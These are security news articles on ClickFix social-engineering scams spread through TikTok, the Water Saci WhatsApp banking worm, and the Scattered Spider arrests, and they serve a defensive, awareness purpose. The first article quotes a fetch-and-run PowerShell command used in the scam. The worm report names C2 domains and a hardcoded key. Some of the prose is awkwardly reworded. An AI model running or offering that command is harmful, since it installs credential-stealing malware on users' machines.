A sophisticated scam targeting TikTok users is exploiting the platform's reach to steal personal data by promising free access to expensive software like Adobe Photoshop. Cybercriminals are using a social engineering technique called ClickFix to trick victims into executing malicious commands that install information-stealing malware on their systems.

The scam operates through TikTok videos that demonstrate seemingly simple technical tricks to activate premium software, including Adobe Photoshop, Microsoft Windows, Discord Nitro, and other popular applications. These videos instruct users to run specific PowerShell commands on their Windows devices, with instructions that appear to be legitimate software activation methods. One example command involves executing iex (irm slmgr[.]win/photoshop), which fetches and runs malicious code from remote servers.

ClickFix attacks differ significantly from traditional phishing campaigns by guiding users through the process of infecting their own devices rather than simply tricking them into clicking malicious links. This social engineering approach exploits users' familiarity with solving minor technical issues, CAPTCHA checks, and human verification processes, making the scam appear more legitimate. Microsoft research indicates that since 2024, ClickFix has been used in nearly half of all recorded cyberattacks, surpassing phishing in popularity among cybercriminals.

When users execute the provided commands, they unknowingly download and install AuroStealer, a Trojan malware specifically designed to harvest sensitive information. This infostealer collects passwords, browser credentials, authentication cookies, cryptocurrency wallet data, and other application credentials from infected systems. The malware establishes persistence through scheduled tasks and uses self-compiling techniques to inject shellcode directly into memory, evading detection by security tools.

TikTok's short-form content delivery system and reputation for hosting legitimate technical how-to content makes it an ideal platform for this type of scam. The platform's viral nature enables these malicious videos to accumulate hundreds of likes and reach thousands of viewers before detection, with cybersecurity researcher Xavier Mertens identifying the ongoing campaign. The campaigns have been active since at least May 2025, with marked increases in activity observed through October 2025.

Security experts strongly advise users never to run commands on their machines from TikTok or other social media networks. Because these commands are executed locally on user systems, many security tools and browsers cannot easily detect them, making prevention through user education critical. Organizations should implement PowerShell execution restrictions, monitor scheduled tasks, and block known malicious domains to protect against these threats.
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User Security
ClickFix Cyber Fraud phishing Social Engineering User Security

ClickFix Attack Tricks Users into Infecting Their Own Devices

 

Cybercriminals are increasingly using a social engineering attack called ClickFix, which manipulates victims into unknowingly initiating cyberattacks on their own systems. According to Microsoft’s 2025 Digital Defense Report, ClickFix has become the most common initial access technique, recorded in 47% of attacks tracked by Microsoft Defender Experts over the past year. This rise is largely attributed to attackers’ growing ability to bypass traditional anti-phishing protections and successfully exploit human behavior.

What is ClickFix?

ClickFix is a deceptive tactic that capitalizes on users' desire to solve perceived simple technical problems. It typically starts with a phishing email or fraudulent website designed to look like a legitimate service—one notable example was seen in spoofed Booking.com emails during the 2024 holiday season. 

The victim is prompted through a fake notification to resolve an issue, often by copying and pasting a code snippet or clicking through a sequence mimicking technical support instructions. Unbeknownst to the user, these instructions result in executing malicious PowerShell or mshta.exe commands, which launch malware directly into system memory—bypassing the need for a downloaded file and evading common antivirus solutions.

Changing threat landscape

ClickFix is especially concerning because it reflects a broader shift in cybercriminal tactics: exploiting human psychology over technical vulnerabilities. Security vendors highlight that this trend is amplified by the use of artificial intelligence, which enables attackers to craft highly convincing phishing lures and even simulate full conversation threads for business email compromise schemes. 

The payloads delivered through ClickFix attacks are diverse and dangerous, including ransomware, information stealers, remote access trojans (RATs), and worms such as Xorm, Danabot, and NetSupport RAT. Reports from security vendors indicate a 500% surge in ClickFix incidents in the first half of 2025, making up an estimated 8% of all attacks during that period.

Defense strategies and user awareness

Traditional defenses based on blocking suspicious attachments, network traffic, or sender domains cannot reliably stop ClickFix. Instead, organizations and individuals must focus on behavioral change: never follow unsolicited technical instructions without independent verification, and always treat requests for manual intervention—like pasting unfamiliar code—with skepticism.

Security awareness training and updated incident response plans are crucial for combating this new wave of attacks. As threat actors continue to refine their methods, education and skepticism remain the frontline defenses against self-induced cyber threats.
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WhatsApp Malware
Banking Trojan Cyber Threats Cybersecurity Data Breach Fileless Attack Financial Security Malware Campaign Social Engineering WhatsApp Malware

WhatsApp Worm Infects Devices and Compromises User Banking Information

 


There has been a troubling revelation in the cybersecurity community that cybercriminals continue to weaponise trusted digital ecosystems by deploying highly sophisticated malware campaigns that use WhatsApp's messaging platform to infiltrate users throughout Brazil, demonstrating that cybercriminals continue to use trusted digital ecosystems to their advantage. 

This large-scale operation, which was detected on September 29, 2025, exhibits unprecedented technical precision and social engineering skills, manipulating user trust in order to achieve rapid and silent propagation of the virus. There has been an increased use of WhatsApp Web by the attackers in attempts to propagate malicious LNK and ZIP files disguised as harmless attachments sent from compromised contacts. 

The attackers have chosen to send misleading messages that convincingly mimic genuine communication to lure their victims into execution. The moment that an unsuspecting recipient opens a file that contains malware on a desktop system, the malware stealthily executes a fileless infection chain, which is designed to steal credentials from financial institutions as well as cryptocurrency exchanges as they conduct their transactions. 

Researchers have determined that the campaign was linked to a broader operation known as "Water Saci," which shows a level of sophistication and scale not typically seen in regional cybercrime. There is evidence in the code of the malware, Maverick and Sorvepotel, that is code-like to the notorious Coyote Trojan, pointing to a new evolution of Brazilian cybercrime tools that target the thriving ecosystem of digital finance in the country. 

In contrast to typical attacks that are primarily focused on data theft and ransomware deployment, this particular operation places a high value on rapid self-propagation and wide infiltration. 

By cleverly leveraging social relationships, the infection process distributes malicious files through the accounts of already infected users to embed itself deeper into trusted networks as a result. It is estimated that over 400 corporate environments have already been compromised by this threat, and more than 1,000 endpoints have been affected, proving that the campaign's aggressive reach and operational efficiency are evident because command-and-control servers validate each download to ensure that it comes directly from the malware. 

Nevertheless, this technique complicates automated security analysis and network defence, making it significantly more difficult to detect and deter the threat. The malware was written primarily in Portuguese and distributed by localised URLs. As a result of its design, it suggests that a deliberate effort was made to target the individual consumer as well as corporate users in Brazil's rapidly growing cryptocurrency and financial sectors.

Besides the campaign's regional implications, this campaign serves as a stark reminder of the convergence that has been taking place in modern cyberattacks between social manipulation and advanced technical execution. 

With this new wave of WhatsApp-targeted malware exploiting trust, automation, and the interconnectedness of messaging platforms, people are witnessing a concerning shift in the cyber threat landscape, one where they can no longer assume the familiar is safe. It has been reported that the Sorvepotel malware has impacted many sectors throughout Brazil, not just individual users. The malware has penetrated a wide range of sectors throughout the country.

A Trend Micro cybersecurity researcher stated that public and government service organisations have been the most severely affected, followed by manufacturing, technology, education, and construction organisations. However, as attackers continue to refine and expand their tactics, other Latin American countries may soon have to face similar threats. 

Although the current campaign is focusing primarily on Brazil, experts warn that similar threats may soon impact other Latin American countries. There is no doubt that the Sovepotel infection chain is extremely deceptive. It spreads mainly through phishing messages sent via compromised contacts' WhatsApp accounts. It is common for these messages, which appear to come from trusted friends or colleagues, to contain malicious ZIP files, which appear as if they were legitimate files-such as receipts, budget documents, or health-related documents, written in Portuguese. 

These files are aimed at attracting enterprise users rather than casual mobile users, as they are urged to open them on desktop computers. Once the malware has been executed, it will spread automatically through WhatsApp Web, sending mass messages which will not only expedite its spread but will also lead to the suspension of infected accounts for excessive spam activity, as well as the spreading of the malware. 

Several researchers have noticed that, in addition to parallel phishing campaigns through email, attackers may also distribute ZIP files containing similar content from seemingly legitimate corporate addresses, increasing the likelihood of infection. There is already a substantial scale of operation, with over 400 customer environments reported as compromised, which is an indication that the worm has spread rapidly and is extremely effective in its operational aspects. 

By targeting Brazilian financial institutions and cryptocurrency exchanges, the group illustrates a deliberate effort to monetise itself by stealing credentials and gaining unauthorised access to financial resources, even though analysts warn that the same techniques can be adapted to other countries as well. Depending on the severity of the attack, financial consequences can range from immediate unauthorised withdrawals to long-term identity theft and the loss of a victim's reputation. 

Cybersecurity experts, for this reason, emphasise the need to adopt multilayered defence strategies. Educating users and organisations on how to keep them safe requires them to avoid suspicious links, even those shared by familiar contacts, as well as verify their authenticity by using alternative channels for communications. It is crucial to maintain an updated application base, enable two-factor authentication across financial and communication platforms, and keep reputable antivirus software in place to minimise exposure. 

Additionally, it is important to monitor financial accounts for unusual activity and conduct frequent data backups to prevent future losses. It is important to note that research indicates that awareness and education remain the best defences, as they ensure both individuals and organisations are prepared to recognise, resist, and report emerging social engineering threats as soon as they emerge, so they are not caught by surprise.

Based on the technical analysis of the campaign, people have discovered that the infection mechanism in the campaign was highly sophisticated and stealthy in order to evade detection and achieve persistence without leaving any traditional forensic evidence. During the first stage of infection, a victim receives a malicious ZIP archive through WhatsApp Web, which contains a malicious LNK file disguised as a legitimate document. 

These LNK files are often presented by generic names, or they are branded to resemble correspondence from a bank. In the accompanying Portuguese language message, the recipient is advised to open the file on a computer, as it specifies that "visualisations can be performed only on computers," and even suggests Chrome users select the "keep file" option due to the ZIP format of the file. 

When the LNK file has been executed, it launches cmd.exe with embedded commands that trigger a PowerShell script, which is responsible for contacting a remote command and control server via a PowerShell script. Using this server, each request is meticulously verified, allowing downloads only if the "User-Agent" header is detected to be unique to the PowerShell process. 

By doing so, the server effectively blocks unauthorised access and automated analysis attempts, blocking common attacks. Using PowerShell, the embedded .NET file will be decoded and executed as a live assembly by using byte-level manipulation, thereby making the infection completely fileless, because it will be performed entirely in memory.

It is quite hard to reverse engineer this initial loader because it is heavily obfuscated by controlling flow flattening, indirect function calls, and randomised naming conventions. A key part of the malware's function is to download and decrypt two encrypted shellcodes from the C2 server, authenticated by a cryptographic HMAC signature. 

The attacker's custom key — "MaverickZapBot2025SecretKey12345"— generates an API token that allows it to fetch these payloads only. Additionally, the campaign is further protected from external scrutiny by the custom key. 

The decrypted data contains a Doughnut-based loader that is responsible for initiating two distinct execution paths: the first delivers the “MaverickBanker” Trojan, while the second targets the WhatsApp infector module. Subsequent stages continue along this elaborate path. Secondary loaders are responsible for retrieving a .NET assembly named "Maverick.StageOne," a component that will download and execute the WhatsApp infector, a self-propagating component intended to hijack a victim's session and automate the delivery of messages, in an attempt to hijack their data. 

By using open-source automation tools like WPPConnect and Selenium browser drivers, this module can detect an active WhatsApp Web window and begin sending malicious files to the victim's contacts in order to maintain infection. During this stage in Brazilian culture, WhatsApp is referred to as the “ZAP,” a colloquial term referring to its localised development and social engineering techniques. 

Despite the multiple layers of obfuscation used in the malware, analysts have been able to reconstruct the malware's workflow, confirming that the malware has a modular structure, reuses shared functions, and intends to maintain a large-scale self-replication network across multiple interconnected networks, confirming its intent to be able to replicate itself. 

With an intricate combination of automation, encryption, and behavioural evasion, large-scale cybercrime operations are being carried out using everyday communication tools in a manner that represents a new frontier in weaponising these tools. A technical analysis of the Water Saci campaign has demonstrated that an advanced and meticulously engineered infrastructure was used to ensure persistence, propagation, and stealth of the campaign.

During the first stage of the PowerShell script, an Explorer process is secretly launched, which will be used to retrieve further payloads from multiple command-and-control (C2) servers, including the ones hosting zapgrande.com, expansiveuser.com, and sorvetenopote.com. As can be seen from embedded Portuguese-language comments embedded within the code, the threat actor intentionally attempted to weaken the system’s defences by executing commands in Microsoft Defender to disable User Account Control (UAC). 

As a result of the deliberate security modifications, the malware can perform privileged operations uninterrupted, creating an environment where subsequent payloads are not detected. In addition, the campaign delivers one of two distinct payloads, depending on the system profile of the victim: a legitimate Selenium browser automation framework, which is coupled with ChromeDriver, or the more destructive Maverick banking Trojan. 

A Selenium component is used to simulate active browser sessions, enabling attackers to hijack WhatsApp Web accounts for the purpose of distributing malicious files to new victims, leading to the propagation of the worm's self-propagation cycle. Maverick, on the other hand, focuses on credential theft, monitoring user browsing activity to determine how to gain access to Brazilian financial institutions and cryptocurrency exchanges before deploying additional. NET-based malwaretoo harvest sensitive information about their customers. 

Despite the fact that the campaign is quite adaptable to the dual payload mechanism, the researchers from Trend Micro point out that, combined with the campaign's ability to spread independently, this represents a significant escalation in regional cyber threats, and if left unchecked, can easily spread beyond Latin America. 

It is particularly challenging due to the campaign's worm-like nature: after the initial infection, the malware sends further malicious messages to the victim's WhatsApp contacts, creating a fast and exponential infection network based on the social trust that has been established. Because recipients are much more likely to open attachments from familiar sources, this strategy has a dramatic impact on the success rate of the malware. 

In an effort to make the world a more secure place, cybercriminals are increasingly exploiting widely used communication platforms to deliver fileless and evasive attacks, according to experts, which marks a significant change in the global threat landscape. WhatsApp is used extensively across Brazil for personal and professional purposes and is therefore a lucrative target for cybercriminals. Despite the growing threat, researchers have urged organisations to take proactive defensive measures to reduce risks.

It is recommended that administrators disable auto-downloads of media and documents on WhatsApp, implement firewall and endpoint policies restricting file transfers from personal applications, and enforce application whitelisting or containerization in BYOD environments to prevent malicious attacks. 

The importance of employee awareness programs cannot be overstated - users need to be trained in recognising and reporting suspicious attachments and links, even those sent by trusted contacts. Responding quickly to PowerShell execution alerts as well as maintaining updated endpoint security tools can help further contain infections in their earliest stages. 

Experts warn that to be able to fight these kinds of threats, companies must maintain vigilance, implement layers of defences, and foster an organisational culture that fosters awareness -- elements that have become increasingly important as malicious software that thrives on trust and connectivity spreads.

WhatsApp's "Water Saci" operation illustrates how cyber tactics are rapidly transforming the way people manage digital risk in everyday communication due to their rapid advancement. The attackers continue to exploit the familiarity of trusted platforms, so the user and organisation alike must adopt a more comprehensive protective framework that combines technology, awareness, and behavioural caution to protect themselves.

By implementing robust defences such as endpoint monitoring, adaptive threat detection, and strict file transfer controls, it may be possible to reduce exposure to such fileless and socially engineered threats. The reduction of infection rates can also be drastically reduced when the workplace culture is rooted in cybersecurity mindfulness-where verification precedes action.

The strategic collaboration between cybersecurity companies, financial institutions, and policy regulators will be crucial if people are to identify early signs of compromise and neutralise threats before they become a problem. It is important that individuals as well as organisations embed proactive vigilance and shared accountability as part of their digital habits, ensuring that trust in modern communication tools remains a strength instead of a weakness for both parties.

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Social Engineering
Cyber Crime Ransom Payment Ransomware Scattered Spider Social Engineering

Teens Arrested Over Scattered Spider’s $115M Hacking Spree

 

Law enforcement authorities in the United States and United Kingdom have arrested two teenagers connected to the notorious Scattered Spider hacking collective, charging them with executing an extensive cybercrime operation that netted over $115 million in ransom payments.

The UK's National Crime Agency arrested 19-year-old Thalha Jubair of East London and 18-year-old Owen Flowers of Walsall, West Midlands, at their homes on Tuesday. Both suspects appeared in London court on Thursday to face charges related to their alleged involvement in a cyberattack against Transport for London (TfL) in August 2024 .

Scale of criminal activity

The US Justice Department has charged Jubair with participating in at least 120 computer network intrusions and extortion attempts targeting 47 US organizations from May 2022 to September 2025. Federal authorities allege these attacks caused victims to pay more than $115 million in ransom payments, with the malicious activities causing significant disruptions to US enterprises, critical infrastructure, and the federal judicial system.

Timeline of offenses

Investigators believe Jubair began his cybercriminal activities at age 14, with the hacking spree spanning from 2022 until last month. Flowers was initially arrested in September 2024 for the TfL attack but was released on bail before being rearrested l. Both suspects had previously been detained in July for data theft incidents targeting UK retailers including Marks & Spencer, Harrods, and Co-op Group.

Scattered Spider distinguishes itself from other cybercriminal organizations through the notably young age of its members and their English-speaking proficiency. The group employs sophisticated social engineering tactics, frequently impersonating IT support personnel to deceive employees into revealing passwords or installing remote access software. Their attacks have disrupted major organizations including MGM Resorts and Caesars Entertainment in Las Vegas during 2023.

Legal consequences 

Jubair faces multiple charges related to computer fraud and money laundering, with prosecutors indicating he could receive a maximum sentence of 95 years in prison if convicted. Investigators linked the breaches to Jubair through evidence showing he managed servers hosting cryptocurrency wallets used for receiving ransom payments. 

Flowers faces additional charges for conspiring to infiltrate and damage networks of US healthcare companies SSM Health Care Corporation and Sutter Health.
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